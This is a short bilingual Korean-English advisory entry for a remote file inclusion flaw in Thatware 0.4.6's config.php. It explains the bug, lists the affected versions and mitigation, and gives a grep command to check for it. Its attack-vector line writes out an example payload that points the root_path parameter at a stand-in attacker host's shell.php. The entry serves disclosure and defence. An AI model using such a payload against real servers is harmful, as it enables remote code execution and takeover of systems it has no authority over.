🇰🇷 한글 설명
David Kent Norman Thatware 0.4.6 버전의 config.php에 원격 파일 포함(RFI) 취약점이 존재합니다. root_path 파라미터에 악의적인 URL을 입력하면 원격 서버의 PHP 코드를 실행할 수 있습니다.
💡 쉬운 설명
웹사이트 설정 파일이 외부에서 보내온 파일을 검증 없이 실행하는 문제입니다. 해커가 악의적인 코드가 담긴 파일 주소를 보내면 서버가 그 코드를 실행하게 됩니다.
🇺🇸 원문 (English)
PHP remote file inclusion vulnerability in config.php in David Kent Norman Thatware 0.4.6 and possibly earlier allows remote attackers to execute arbitrary PHP code via a URL in the root_path parameter.
📍 영향받는 시스템
Thatware 0.4.6 및 이전 버전
⚔️ 공격 벡터
HTTP GET/POST 요청의 root_path 파라미터에 remote URL 입력 (예: ?root_path=http://attacker.com/shell.php)
🛡️ 대응 방법
Thatware를 최신 버전으로 업그레이드하거나, root_path 파라미터 입력값 검증 및 필터링 구현
🔧 검증 코드
결과에 root_path 변수가 직접 include/require에 사용되는지 확인. 검증 함수(basename, realpath 등)가 없으면 취약.
grep -r 'root_path' /var/www/html 2>/dev/null | head -5